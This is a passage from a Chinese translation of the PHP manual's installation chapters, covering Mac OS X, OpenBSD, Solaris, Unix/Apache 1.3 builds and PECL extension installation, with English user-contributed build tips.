  5. 现在输入 sudo open -a TextEdit /etc/httpd/httpd.conf。TextEdit 将把 web 服务器的配置文件打开。在文件的末尾找到下面两行（使用查找命令）：
    #AddType application/x-httpd-php .php
#AddType application/x-httpd-php-source .phps
    将它们前面的两个井号（#）去掉，然后保存文件并退出 TextEdit。

  6. 最后，输入 sudo apachectl graceful 重新启动 web 服务器。

PHP 现在应该已经配置好，并且正在运行了。可以在 Sites 文件夹创建一名为 test.php 的文件。该文件的内容为： <?php phpinfo() ?>。

现在在 web 浏览器浏览 127.0.0.1/~your_username/test.php。应该可以看到一个表格列出了 PHP 模块的信息。

add a note add a note User Contributed Notes
Michael Hawkshaw
14-Sep-2004 04:11
Please note that Marc has now compiled a PHP 5.0.1 version of his package. It can be downloaded at:

http://www.entropy.ch/software/macosx/php/

There is also a forum on his site for discussing his package should you have have any queries/issues.
BjarneDM <macintosh at mathiesen dot info>
28-Aug-2004 02:09
This will only install a precompiled PHP4 module for the Apache 1.3.x included by Apple in Mac OS X client. This will not install a cli version of PHP.

If you want to play with Apache2 and PHP the way to go is ServerLogistics < http://www.serverlogistics.com/ >, but this will still be a precompiled version. On the other hand you can both get the Apache2 module and a cli version.

ServerLogistics does include some rudimentary information on how to compile yourself on Mac OS X in the pdf documentation, but it is erroneous in some circumstances, and for newer versions of PHP will neccesiate installation of fink < http://fink.sourceforge.net/ > or darwinports < http://darwinports.opendarwin.org/ > in order to get newer libraries.
add a note add a note

后退 | 起点 | 前进
在 Mac OS X 服务器版编译 | 上一级 | Windows 系统下的安装


在 Mac OS X 服务器版编译

Mac OS X 服务器安装.

  1. 获得最新版本的 Apache 和 PHP。

  2. 将它们的 tar 包解压，然后如下运行 Apache 的 configure 程序。
    ./configure --exec-prefix=/usr \
--localstatedir=/var \
--mandir=/usr/share/man \
--libexecdir=/System/Library/Apache/Modules \
--iconsdir=/System/Library/Apache/Icons \
--includedir=/System/Library/Frameworks/Apache.framework/Versions/1.3/Headers \
--enable-shared=max \
--enable-module=most \
--target=apache

  3. 如果想对编译做些优化，可以添加下面一行：
    setenv OPTIM=-O2

  4. 接下来，进入 PHP 4 源代码目录，并进行 configure 操作。
    ./configure --prefix=/usr \
    --sysconfdir=/etc \
    --localstatedir=/var \
    --mandir=/usr/share/man \
    --with-xml \
    --with-apache=/src/apache_1.3.12
    如果需要其它附加功能（MySQL、GD 等），务必将它们添加到这里。对于 --with-apache 参数，需要将其路径指向 Apache 源代码目录，例如 /src/apache_1.3.12。

  5. 输入 make 和 make install。这样在 Apache 源代码目录中会创建一名为 src/modules/php4 的目录。

  6. 现在，重新配置 Apache 以编译 PHP 4。
    ./configure --exec-prefix=/usr \
--localstatedir=/var \
--mandir=/usr/share/man \
--libexecdir=/System/Library/Apache/Modules \
--iconsdir=/System/Library/Apache/Icons \
--includedir=/System/Library/Frameworks/Apache.framework/Versions/1.3/Headers \
--enable-shared=max \
--enable-module=most \
--target=apache \
--activate-module=src/modules/php4/libphp4.a
    可能会被告知 libmodphp4.a 太旧了。如果出现这个情况，进入 Apache 源代码目录中的 src/modules/php4 目录，并运行该命令： ranlib libmodphp4.a。然后返回到 Apache 源代码根目录，再次运行上面的 configure 命令。这样便会更新连接表。然后再次运行 make 和 make install 命令。

  7. 从 PHP 4 源代码目录复制并重命名 php.ini-dist 文件到 bin 目录：cp php.ini-dist /usr/local/bin/php.ini 或（如果没有 local 目录）cp php.ini-dist /usr/bin/php.ini。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Mac OS X 系统下的安装 | 上一级 | 在 Mac OS X 客户版编译


在 OpenBSD 系统下的安装

本章节的内容和提示仅限于将 PHP 安装到 OpenBSD 3.6 系统上。

使用二进制包安装

使用二进制包安装 PHP 到 OpenBSD 系统上是被推荐的同时也是最简单的方法。PHP 核心包已经从其他模块中分离出来了并且每个模块可以被独立的安装／卸载而不影响其他模块。所有这些安装 PHP 需要的文件可以在 OpenBSD 光盘或者在 FTP 站点上找到。

需要安装的 PHP 核心包的文件是 php4-core-4.3.8.tgz，它包含了基本的引擎（包括 gettext 和 iconv）。其次，可能还需要安装一些模块包，如：php4-mysql-4.3.8.tgz 或 php4-imap-4.3.8.tgz。需要使用命令 phpxs 去激活它，并且再通过修改 php.ini 文件来屏蔽他们。

例子 4-6. 在 OpenBSD 系统下的软件包的安装示例

# pkg_add php4-core-4.3.8.tgz
# /usr/local/sbin/phpxs -s
# cp /usr/local/share/doc/php4/php.ini-recommended /var/www/conf/php.ini
  （加入 mysql 包）
# pkg_add php4-mysql-4.3.8.tgz
# /usr/local/sbin/phpxs -a mysql
  （加入 imap 包）
# pkg_add php4-imap-4.3.8.tgz
# /usr/local/sbin/phpxs -a imap
  （测试一下删除 mysql 包）
# pkg_delete php4-mysql-4.3.8
# /usr/local/sbin/phpxs -r mysql
  （安装 PEAR 库）
# pkg_add php4-pear-4.3.8.tgz

阅读用户手册中的 packages(7) 部分，可以得到更多 OpenBSD 系统下有关二进制软件包的信息.

使用软件包

同样可以使用软件包目录（ports tree）来编译 PHP 的源代码。然而，这样的安装方式仅仅是建议对 OpenBSD 非常熟悉的高级用户去做。PHP4 的软件包被分别分为了两个子目录：core 和 extensions。其中 extensions 目录产生了所有 PHP 所支持的子模块。如果不希望创建并且使用这些模块中的某些模块，请使用 FLAVOR no_* 参数。例如，如果希望跳过编译 imap 模块，设置 FLAVOR 为 no_imap 即可。

常见问题

  • 默认安装的 Apache 运行于 chroot(2) jail，将限制 PHP 脚本只能访问 /var/www 下面的文件。需要建立 /var/www/tmp 目录来存放 PHP session 文件，或使用其它的 session 后端。此外，数据库套接字需要被放入 jail 或者侦听 localhost 接口。如果使用网络函数，某些 /etc 下面的文件例如 /etc/resolv.conf 和 /etc/services 需要被移动到 /var/www/etc 中去。OpenBSD PEAR 包会自动安装到正确的 chroot 目录中，因此不需要作特殊改动。有关 OpenBSD Apache 的更多信息见 OpenBSD FAQ。

  • 对应于 gd 扩展的 OpenBSD 3.6 包需要预先安装 XFree86。如果不想使用那些需要 X11 的字体特性，则安装 php4-gd-4.3.8-no_x11.tgz 包来替代之。

早期发布版本

早期的 OpenBSD 系统使用 FLAVORS 系统把 PHP 连接为静态模式。自从使用这种方法编译就造成了问题：很难制作二进制软件包。仍然可以使用早期稳定的 ports trees，但这种方式已经不被 OpenBSD 小组所支持。如果对此有任何建议和意见，软件包当前的维护人是 Anil Madhavapeddy（avsm at openbsd dot org）。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
在 HP-UX 系统下的安装 | 上一级 | 在 Solaris 下的安装


PECL 扩展库安装

PHP 手册
后退 前进

章 7. PECL 扩展库安装

目录
PECL 安装介绍
下载 PECL 扩展库
Windows 用户的 PECL
用 PEAR 编译共享 PECL 扩展库
用 phpize 编译共享 PECL 扩展库
将 PECL 扩展库静态编译入 PHP

PECL 安装介绍

PECL 是通过 PEAR 打包系统来的 PHP 扩展库仓库，本章内容示范了怎样取得并安装 PECL 扩展。

以下指南中假定 /your/phpsrcdir/ 是 PHP 源程序的路径，extname 是 PECL 扩展库的名字。自己根据实际情况调整。此外还假定用户熟悉 pear 命令。

要使用共享扩展库，必须经过编译，安装，然后加载。以下说明的方法提供了怎样编译和安装扩展库德各种指导，但并不会自动加载它们。可以通过将其包括在 php.ini 中用 extension PHP 指令加载，或者 用 dl() 函数。

当编译 PHP 模块时，拥有各种工具（autoconf，automake，libtool 等）的已知好使的版本很重要。所需工具和所需版本的详情见匿名 CVS 说明。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Windows 下安装扩展库 | 上一级 | 下载 PECL 扩展库


下载 PECL 扩展库

下载 PECL 扩展库有几种方法，如：

  • http://pecl.php.net

    PECL 网站包括有 PHP 开发组提供的不同扩展库的信息。这里的信息包括：更新记录，版本说明，需求，以及其它信息。

  • pear download extname

    PECL 网站中列出的 PECL 扩展库的发行版本可以用 pear 命令来下载和安装。也可以指明具体的修正版。

  • CVS

    大多数 PECL 扩展库也在 CVS 中。其 web 页面见 http://cvs.php.net/pecl/。要直接从 CVS 中下载，用以下命令，其中用户 cvsread 的密码是 phpfi：

    $ cvs -d:pserver:cvsread@cvs.php.net:/repository login
$ cvs -d:pserver:cvsread@cvs.php.net:/repository co pecl/extname

  • Windows 下载

    Windows 用户可以通过在 PHP 下载页面下载 Collection of PECL modules 来找到已编译的 PECL 可执行程序，或下载 PECL Snapshot。要在 Windows 下编译 PHP，请阅读 Win32 Build README。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PECL 扩展库安装 | 上一级 | Windows 用户的 PECL


用 PEAR 编译共享 PECL 扩展库

PEAR 使建立共享 PHP 扩展库更容易。用 pear 命令这样做：

$ pear install extname

这将下载 extname 的源代码，编译之，并将 extname.so 安装到 extension_dir 中。然后 extname.so 就可以通过 php.ini 加载了。

默认情况下，pear 命令不会安装标记为 alpha 或 beta 状态的包。如果没有 stable 包可用，也可以用以下命令安装一个 beta 包：

$ pear install extname-beta

也可以用此命令安装一个指定的版本：

$ pear install extname-0.1

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Windows 用户的 PECL | 上一级 | 用 phpize 编译共享 PECL 扩展库


用 phpize 编译共享 PECL 扩展库

有时候不能用 pear 安装命令。这可能是因为在防火墙后面，或者是因为想要安装的扩展库还没有 PEAR 兼容的包，例如 CVS 中尚未发布的扩展库。如果要编译这种扩展库，可以用更底层的编译工具来手工进行编译。

phpize 命令是用来准备 PHP 扩展库的编译环境的。下面例子中，扩展库的源程序位于 extname 目录中：

$ cd extname
$ phpize
$ ./configure
$ make
# make install

成功的安装将创建 extname.so 并放置于 PHP 的扩展库目录中。需要调整 php.ini，加入 extension=extname.so 这一行之后才能使用此扩展库。

add a note add a note User Contributed Notes
dmytton at php dot net
04-Dec-2005 03:45
In some situations (e.g. on a cPanel server), the built extension will not be placed into the correct extensions directory by the make install process. Use your phpinfo() output to determine what the correct extension_dir path is and move the generated .so file into that directory. The extension=extname.so line in php.ini will then find the extension file correctly.
add a note add a note

后退 | 起点 | 前进
用 PEAR 编译共享 PECL 扩展库 | 上一级 | 将 PECL 扩展库静态编译入 PHP


将 PECL 扩展库静态编译入 PHP

有时可能需要将扩展库静态编译到 PHP 中。这需要将扩展库源程序放入 php-src/ext/ 目录中去并告诉 PHP 编译系统来生成其配置脚本。

$ cd /your/phpsrcdir/ext
$ pear download extname
$ gzip -d < extname.tgz | tar -xvf -
$ mv extname-x.x.x extname

这将产生以下目录：

/your/phpsrcdir/ext/extname

此时强制 PHP 重新生成配置脚本，然后正常编译 PHP：

$ cd /your/phpsrcdir
$ rm configure
$ ./buildconf --force
$ ./configure --help
$ ./configure --with-extname --enable-someotherext --with-foobar
$ make
$ make install

注: 要运行“buildconf”脚本，需要 autoconf 2.13 和 automake 1.4+（更新版本的 autoconf 也许能工作，但不被支持）。

是否用 --enable-extname 或 --with-extname 取决于扩展库。通常不需要外部库文件的扩展库使用 --enable。要确认的话，在 buildconf 之后运行：

$ ./configure --help | grep extname

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
用 phpize 编译共享 PECL 扩展库 | 上一级 | 还有问题？


Windows 用户的 PECL

和其它任何 PHP 扩展库的 DLL 一样，把 PECL 扩展库的 DLL 移动到 extension_dir 目录并将其包括入 php.ini 来安装。例如：

extension=php_extname.dll

然后重新启动 web 服务器。

add a note add a note User Contributed Notes
tomato at telenet dot be
31-Mar-2006 08:18
To view all possible PECL extensions, visit http://pecl.php.net/

Using the search-function on the site you can determine what extension does what.  Search for extensions without the "php_", for example: to find out what php_apc.dll does, search for apc.
add a note add a note

后退 | 起点 | 前进
下载 PECL 扩展库 | 上一级 | 用 PEAR 编译共享 PECL 扩展库


还有问题？

PHP 手册
后退 前进

章 8. 还有问题？

目录
阅读 FAQ
其它问题
错误报告

阅读 FAQ

有些问题比其它的更为普遍。最常见的列在 PHP 常见问题中，是本手册的一部分。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
将 PECL 扩展库静态编译入 PHP | 上一级 | 其它问题


错误报告

如果你觉得自己发现了一个 PHP 的 bug，请提出报告。PHP 开发人员也许还不知道有问题，除非你报告了，否则有可能不会被修正。可以通过错误跟踪系统 http://bugs.php.net/ 来报告错误。请不要在邮件列表或私人信件中发送错误报告。错误跟踪系统也可以用来提出对新特性的要求。

在提交错误报告之前请先阅读怎样报告错误！

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
其它问题 | 上一级 | 运行时配置


其它问题

如果还卡着，PHP 安装邮件列表中的人可能会帮你。应该先查看归档，也许有人已经回答了另一个人提出的和你相同的问题。归档可以从支持页 http://www.php.net/support.php 访问到。要订阅 PHP 安装邮件列表，发送一封空邮件去 php-install-subscribe@lists.php.net。邮件列表地址是 php-install@lists.php.net。

如果想从邮件列表中取得帮助，请准确给出有关你的环境的必要细节（哪个操作系统，PHP 的版本，哪个 web 服务器，是否以 CGI 方式还是以服务器模块方式运行 PHP，安全模式，等等），并给出足够的代码让别人能重现和测试你碰到的问题。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
还有问题？ | 上一级 | 错误报告


在 Solaris 下的安装

本节包含了在 Solaris 系统上安装 PHP 的说明和提示。

需要的软件

默认安装的 Solaris 系统经常缺少 C 语言编译器和其相关工具。部分工具必须使用该工具的 GNU 版本，原因请阅读 FAQ。 下面是需要的软件：

  • gcc（推荐使用，其它 C 语言编译器也可以工作）

  • make

  • flex

  • bison

  • m4

  • autoconf

  • automake

  • perl

  • gzip

  • tar

  • GNU sed

此外，还需要安装（或编译）在配置时定义的所有额外软件，比如说 Oracle 或 MySQL。

使用软件包

可以使用 pkgadd 来安装大部分需要的软件来简化 Solaris 安装过程。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
在 OpenBSD 系统下的安装 | 上一级 | 在 Gentoo 系统下的安装


Unix 系统下的安装

PHP 手册
后退 前进

章 4. Unix 系统下的安装

目录
Unix 系统下的 Apache 1.3.x
Unix 系统下的 Apache 2.0
Caudium 服务器
fhttpd 服务器
Sun Solaris 上的 Sun、iPlanet 和 Netscape 服务器
CGI 和命令行设置
在 HP-UX 系统下的安装
在 OpenBSD 系统下的安装
在 Solaris 下的安装
在 Gentoo 系统下的安装
Debian GNU/Linux 安装说明

本节将指导如何在 Unix 系统下安装和配置 PHP。在开始安装之前，请务必研究自己使用的系统和 web 服务器的相关章节。

在安装前需要考虑的事项一节提到，在本节主要以 web 为中心介绍 PHP 的设置。不过本节也会覆盖一些 PHP 命令行用法的设置方法。

在 Unix 平台下安装 PHP 有几种方法：使用配置和编译过程，或是使用各种预编译的包。本文主要针对配置和编译 PHP 的过程。很多 Unix 类系统都有包安装系统，可以用它来设置一个有着标准配置的 PHP。但是若需要与标准配置不同的功能（例如一个安全服务器，或者不同的数据库驱动扩展模块），可能需要编译 PHP 和／或 web 服务器。如果不熟悉编译软件，可以考虑搜索一下是否有人已经编译了包含所需要功能的预编译包。

编译所需的知识和软件：

  • 基础的 Unix 技能（有能力操作“make”和一种 C 语言编译器）

  • 一个 ANSI C 语言编译器

  • flex：版本 2.5.4

  • bison：版本 1.28（推荐）、1.35 或 1.75

  • 一个 web 服务器

  • 模块特别需要的组件（例如 gd、pdf 库等)

PHP 初始的配置和安装过程被 configure 脚本中一系列命令行选项控制。可以通过 ./configure --help 命令了解 PHP 所有可用的编译选项及简短解释。本手册是分开对这些选项编写文档的。可在附录中找到核心配置选项，而扩展模块特定的配置选项分别在其函数参考页面中描述。

配置好 PHP 后，便可以开始编译模块和／或可执行文件。make 命令用来做这一工作。如果该命令执行失败而找不到原因，请参考安装问题一节。

Unix 系统下的 Apache 1.3.x

本节包括在 Unix 平台的 Apache 下安装 PHP 的说明和提示。我们在另外的页面也有 Apache 2 的安装和说明。

可以从核心配置选项列表以及位于手册对应部分的特定扩展配置选项中选择参数并在安装步骤第 10 步将它们添加到 configure 命令中。版本号在这里被省略了以保证此说明的正确性。需要将这里的“xxx”替换为自己使用的文件的正确值。

例子 4-1. PHP 的 Apache 共享模块版本安装说明

1.  gunzip apache_xxx.tar.gz
2.  tar -xvf apache_xxx.tar
3.  gunzip php-xxx.tar.gz
4.  tar -xvf php-xxx.tar
5.  cd apache_xxx
6.  ./configure --prefix=/www --enable-module=so
7.  make
8.  make install
9.  cd ../php-xxx
10. 现在，配置 PHP。这是定制 PHP 的不同选项的时候，例如要加载哪些扩展库。使用
      ./configure --help
    来列出可用的选项。在下面的示例中只是简单地配置 Apache 1 和 MySQL 支持。
    用户的 apxs 的路径可能和此示例中的不同。
      ./configure --with-mysql --with-apxs=/www/bin/apxs
11. make
12. make install
    如果在安装之后决定修改配置选项，那么只需重复以上最后三步。只须重新启动
    Apache 就可以使新模块生效。不需要重新编译 Apache。注意除非特别指出，
    “make install”总是会安装 PEAR，各种 PHP 工具例如 phpize，PHP CLI 以及其它。
13. 建立 php.ini 文件。
      cp php.ini-dist /usr/local/lib/php.ini
    可以编辑 php.ini 来设置 PHP 选项。如果想把 php.ini 放在其它目录，在第
    10 步加上以下选项：
      --with-config-file-path=/path
    如果选择了 php.ini-recommended，确保阅读一下其中的变更说明，因为这些会
    影响到 PHP 的行为。
14. 编辑 httpd.conf 来加载 PHP 模块。在 LoadModule 语句右边的路径必须指向系统中
    PHP 模块所在的路径。上面的 make install 步骤可能已经添加了，但还是检查确认一下。
    对 PHP 4：
      LoadModule php4_module        libexec/libphp4.so
    对 PHP 5：
      LoadModule php5_module        libexec/libphp5.so
15. 在 httpd.conf 中加入 AddModule 部分，在 ClearModuleList 下面的某处，加上这一句：
    对 PHP 4：
      AddModule mod_php4.c
    对 PHP 5：
      AddModule mod_php5.c
16. 告诉 Apache 将哪些后缀作为 PHP 解析。例如，让 Apache 把 .php 后缀的文件解析为
    PHP。可以将任何后缀的文件解析为 PHP，只要在以下语句中加入并用空格分开。这里以
    添加一个 .phtml 来示例。
      AddType application/x-httpd-php .php .phtml
    为了将 .phps 作为 PHP 的源文件进行语法高亮显示，还可以加上：
      AddType application/x-httpd-php-source .phps
17. 用通常的过程启动 Apache（必须完全停止 Apache 再重新启动，而不是用 HUP 或者
    USR1 信号使 Apache 重新加载）。

也可以将 PHP 作为静态对象来安装：

例子 4-2. PHP 的 Apache 静态模块版本安装说明

1.  gunzip -c apache_1.3.x.tar.gz | tar xf -
2.  cd apache_1.3.x
3.  ./configure
4.  cd ..

5.  gunzip -c php-4.x.y.tar.gz | tar xf -
6.  cd php-4.x.y
7.  ./configure --with-mysql --with-apache=../apache_1.3.x
8.  make
9.  make install

10. cd ../apache_1.3.x

11. ./configure --prefix=/www --activate-module=src/modules/php4/libphp4.a
    （上面一行是正确的！是的，我们知道 libphp4.a 在目前不存在。它是不应该存在的，
    它将被创建。）

12. make
    （现在应该有一个 httpd 二进制文件，可以将它复制到 Apache bin 目录。如果这是
    第一次安装，还要“make install”。)

13. cd ../php-4.x.y
14. cp php.ini-dist /usr/local/lib/php.ini

15. 可以编辑 /usr/local/lib/php.ini 文件以设置 PHP 选项。编辑 httpd.conf 或
    srm.conf 文件，添加：
    AddType application/x-httpd-php .php

根据 Unix 系统和 Apache 安装方法的不同，有很多方法停止和重启动 Apache。以下是一些不同的 Apache／UNIX 下重启动 Apache 的典型命令。需要把 /path/to/ 替换成自己系统上的确切路径。

例子 4-3. 重启动 Apache 的示例命令

1. 在一些 Linux 和 SysV 的变种下：
/etc/rc.d/init.d/httpd restart

2. 使用 apachectl 脚本：
/path/to/apachectl stop
/path/to/apachectl start

3. httpdctl 和 httpsdctl（使用了 OpenSSL），类似 apachectl：
/path/to/httpsdctl stop
/path/to/httpsdctl start

4. 使用了 mod_ssl，或其他 SSL 服务器，可能需要手工重启动：
/path/to/apachectl stop
/path/to/apachectl startssl

apachectl 和 http(s)dctl 程序所在的路径在不同系统中通常不一样。如果系统中有 locate 或者 whereis 或者 which 命令，那么可以帮助找到这些控制程序。

编译 PHP 和 Apache 的不同例子还有：

./configure --with-apxs --with-pgsql

此配置将生成在 Apache 的 httpd.conf 文件中用 LoadModule 加载的 libphp4.so 共享库。而 PostgreSQL 支持将嵌入到 libphp4.so 库中。

./configure --with-apxs --with-pgsql=shared

此配置将生成 Apache 的 libphp4.so 共享库，并且还生成 pgsql.so 共享库，可以在 php.ini 文件中用 extension 指令加载，或者在 PHP 脚本中用 dl() 函数明确地加载。

./configure --with-apache=/path/to/apache_source --with-pgsql

此配置将生成 libmodphp4.a 库，mod_php4.c 和一些相关的文件并且拷贝到 Apache 源程序目录中的 src/modules/php4 目录下。然后用 --activate-module=src/modules/php4/libphp4.a 编译 Apache，Apache 编译系统会生成 libphp4.a 并且将其静态地连接到 httpd 程序中。PostgreSQL 支持也直接包括在这个 httpd 程序中了，因此最终结果是单一的一个包括了所有 Apache 和 PHP 支持的 httpd 可执行文件。

./configure --with-apache=/path/to/apache_source --with-pgsql=shared

此配置和上面一样――除了没有在最后的 httpd 可执行文件中包括 PostgreSQL 的支持以及生成了一个 pgsql.so 共享库以外。该共享库可以在 php.ini 文件中或者用 dl() 函数加载。

当选择不同的方法编译 PHP 时，需要考虑每种方法的优势和缺点。用共享对象方式编译 PHP 意味着可以单独编译 Apache，并且不用在添加或修改了 PHP 的时候重新编译所有程序。用内置方法编译 PHP（静态方式）意味着 PHP 可以加载和运行得更快。更多信息见 Apache 的 DSO 支持页面。

注: Apache 默认的 httpd.conf 文件中目前包括类似如下的内容：

User nobody
Group "#-1"

除非把它修改成“Group nogroup”或者其它类似的（“Group daemon”也很通用），PHP 将不能打开文件。

注: 确认在使用 --with-apxs=/path/to/apxs 时指向 Apache 安装后的目录中的 apxs。绝对不能用 Apache 源程序中的 apxs 而要用安装后的 apxs。

add a note add a note User Contributed Notes
flconseil at yahoo dot fr
07-Mar-2006 10:15
Building Apache 2 and PHP 5.1.2 :

On AIX 5.2 : http://flaupretre.free.fr/redir.php?key=build_apa_aix

On HP-UX 11i (11.11) : http://flaupretre.free.fr/redir.php?key=build_apa_hpux

These documents are complete step-by-step howtos, and describe how to buid a self-sufficient package, including every software it depends on (zlib, SSL, LDAP, iconv, expat, xml, xslt, gd, png, Xpm, jpeg, freetype, bzip2, curl, MySQL, PostgreSQL, Oracle, AdoDB).
dpresley4 at yahoo dot com
07-Nov-2005 07:42
Hi,

PROBLEM:  ./configure PHP --with-oci8

fails with unresolved references such as __rpc_thread_destroy@GLIBC_2_2_3_...

ONE SOLUTOIN

FOR SOLVING PHP ./configure RESULTING IN  __rcp_thread_destroy@GLIBC_2_2_3_... AND
UNRESOLVED REFERENCES WITH ORACLE OCI8

KEYWORDS: PHP OCI OCI8 NET8 ./configure __rpc_thred_destroy UNRESOLVED REFERENCES

For building php-4.4.1 or later with oci8, make sure your LD_LIBARRY_PATH has at a minimum the following directories in its path for Oracle8i 8.1.5 or later, Oracle9i 9.0.2 or later, and Oracle9i Release 2: 9.2.0.4 or later, do the following:

Note:  We are not using the Oracle Instant Client here.  This assumes you have an actual Oracle Installation.

1. Set ORACLE_HOME

Example using Oracle 9i Relase 2 -- 9.2.0.5:

ORACLE_HOME=/opt/app/oracle/product/9iR2

2. Set LD_LIBRARY_PATH with:

LD_LIBRARY_PATH=$ORACLE_HOME/lib: \
   $ORACLE_HOME/rdbms/lib:\
   $LD_LIBRARY_PATH

3. On Unix / Linux, don't forget to export these environment variables:

export ORACLE_HOME LD_LIBRARY_PATH

4. Now, build PHP with the following:

./configure --with-apxs2=<path to Apache 2.0/bin/apxs> --with-oci8=$ORACLE_HOME --enable-sigchild

It should now build correctly. The key with Oracle is to ensure that you pick up the libclntX.so (client librariess) where X is the Oracle version associated with the version your using for instance, in the above example, libclnt9.so

Also note that if your using Oracle 9iAS Release 2 v9.0.2, Oracle 10g iAS Release 1 v9.0.4.1, the above steps will work because ORACLE_HOME will containe all of the libraries necessary.  Simply point ORACLE_HOME to the top level directory of these installations and set LD_LIBRARY_PATH as described above.

Hope this helps.
phptard at gmail dot com
23-Mar-2005 08:17
after a long night of wrestling with mysql4.0 under linux compiled with the intel compiler, i've gotten php5.0.3 to compile with mysql libraries for this flavor of mysql:

1: download the mysql for linux/intel compiler and install
2: download the rpm for the intel compiler libraries and install
3: configure php with LDFLAGS="-lirc -lgcc_s" and EXTRA_LIBS="-lirc -lgcc_s"

Example:

LDFLAGS="-lirc -lgcc_s" LD_LIBRARY_PATH="-L/usr/lib64" LD_PATH="-L/usr/lib64" LDPATH="-L/usr/lib64" EXTRA_LIBS="-lirc -lgcc_s" ./configure --with-apxs2=/usr/local/apache/bin/apxs --with-ssl=/usr/local/ssl --without-sqlite --with-zlib-dir=/usr --with-mysql=/usr/local/mysql

of course this is on a xeon system that has half of its modules in the /usr/lib64 directory, so on a normal system, without the other kruft, it would look something more like this:

LDFLAGS="-lirc -lgcc_s" EXTRA_LIBS="-lirc -lgcc_s" ./configure --with-apxs2=/usr/local/apache/bin/apxs --with-mysql=/usr/local/mysql

Hopefully this will save someone the 6 hour headache it caused me..
diemuzi at gmail dot com
14-Jan-2005 02:11
In reference to van [at] webfreshener [dot] com to fix the krb5 problems. An easier fix is to do the following:

ln -s /usr/kerberos/include/krb5.h /usr/include/krb5.h
ln -s /usr/kerberos/include/profile.h /usr/include/profile.h
ln -s /usr/kerberos/include/com_err.h /usr/include/com_err.h

This will help solve some deps. in the future incase a situation with another compilation occurs.
alexander justadot henry at acm dot org
23-Dec-2004 04:48
The system at my workplace has a need for apache/php with all static compilation.  In order to save time adminning our systems, I decided to make my own RPM of php/apache with mod_ssl support.  I had always installed by hand with the instructions on this page, but when buiding the RPM way, came upon the following error when apache was compiling:

===> src/modules/php4
make[4]: *** No rule to make target `all'. Stop.

Ordinarily this is because one did not do a 'make install' in php before the second apache configure, or somehow the make install failed.  But the way rpm's work, the make install must be in the %install portion of the spec file, after all makes are completed.

make install-sapi

This line will copy relevant files to the directory specified in --with-apache
samael99 at web dot de
24-Jun-2004 09:51
Quick hint for people using RH8:

if make gives you this error
FT_ENCODING_MS_SYMBOL undeclared

change on line in this file
/usr/include/freetype2/freetype/freetype.h

Search for ft_encoding_symbol - change it to
ft_encoding_ms_symbol

Now this problem is dealt with, go ahead with make.

Good Luck !
robert_sgi at yahoo dot com
09-May-2004 02:57
If you install php 4 on SGI IRIX 6.5 (in my case it was php 4.3.6 on Silicon Graphics O2 IRIX 6.5.22 machine) and you're building it with:
--with-gettext=/usr/freeware
then you need to manually edit the file named "configure" (from the php source directory) and change the line# 36739
from:
GETTEXT_LIBDIR=$GETTEXT_DIR/lib
to:
GETTEXT_LIBDIR=$GETTEXT_DIR/lib32
If you have problems in locating the line, search the text for "bindtextdomain", and look several (4) lines above.
karthik (dot) k (at) extremix (dot) net
19-Jan-2004 12:28
This is regarding the post down below about the problem with openssl on RH9. Openssl on RH9 is built with kerberos. To get PHP to build correctly you need the output of these commands when you make.

[root@graf-spee local]# pkg-config --cflags openssl
-I/usr/kerberos/include

[root@graf-spee local]# pkg-config --libs openssl
-L/usr/kerberos/lib -lssl -lcrypto -lresolv -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err -ldl -lz

These could be added to your make command thus. I have not tested it out, but should work with some tweaking

make EXTRA_LDFLAGS=`pkg-config --libs openssl` EXTRA_CFLAGS=`pkg-config --cflags openssl`
thansen at terra dot com dot br
31-Dec-2003 12:36
The configure directives --with-apxs2 and --with-apxs2filter are not compatible one with other, even though the configure script will not complain about that. Each one affect the way Apache will call the php parser: If you choose the first one, you must use the traditional include:

AddType application/x-httpd-php php

at httpd.conf, to call the parser. If you use the --with-apxs2filter, the include will be:

<Files *.php>
       SetOutputFilter PHP
       SetInputFilter  PHP
</Files>

, and php will be called as a filter to .php files.

If you use both together, you will get compilation errors (duplicate symbols while linking libphp4).
aaronmorris at mindspring dot com
06-Dec-2003 04:47
If you have the libphp4.a instead of libphp4.so on AIX, you can extract the .so file from the .a file by running "ar -x libphp4.a".
jazee_at_bigfoot.com
27-Mar-2003 04:52
http://dan.drydog.com/apache2php.html has a nice set of instructions for Apache2 + php
doug at NOSPAM dot techie dot net
04-Feb-2003 09:16
Users compiling under some versions of Solaris/SunOS may encounter the following error.
   symbol ap_block_alarms: referenced symbol not found

To address this problem, add the following additional flag to the Apache build configure line:
   --enable-rule=SHARED_CORE

So, adding this to the original instructions, you'd configure your Apache build like so:
   ./configure --prefix=/www --enable-module=so --enable-rule=SHARED_CORE

Doug
mbabcock-php at fibrespeed dot net
21-Jul-2001 12:32
The best configuration guide I've found for Apache with PHP (and PERL, mod_ssl, etc.) is Apacompile.  Its home site is
http://www.delouw.ch/linux/apache.phtml
dimaberastau at hotmail dot com
10-Jun-2001 12:33
when installing with mysql support (--with-mysql=<path/to/your/mysql>) via Apache APXS you'll probably get something like 'can't load libmysqlclient.so' when you try to start up apache. There are 2 solutions to this problem. First, (as documented in INSTALL file of the php4 distribution) you can modify /etc/ld.so.conf to contain the directory name where libmysqlclient.so is (so if your mysql is installed in /usr/local, you want to add something like /usr/local/lib/mysql into /etc/ld.so.conf), else (and particularly if you haven't got the super-user on the system) you can modify (or create if it isn't defined already) LD_LIBRARY_PATH shell variable to reflect the changes you would have otherwise made to /etc/ld.so.conf (again if mysql is /usr/local LD_LIBRARY_PATH=/usr/local/lib/mysql). Either one of these methods will get the problem sorted. Just remember to run ldconfig (so that /etc/ld.so.cache is updated) if you chose to modify /etc/ld.so.conf
marshalm at ebrd dot com
18-May-2001 01:43
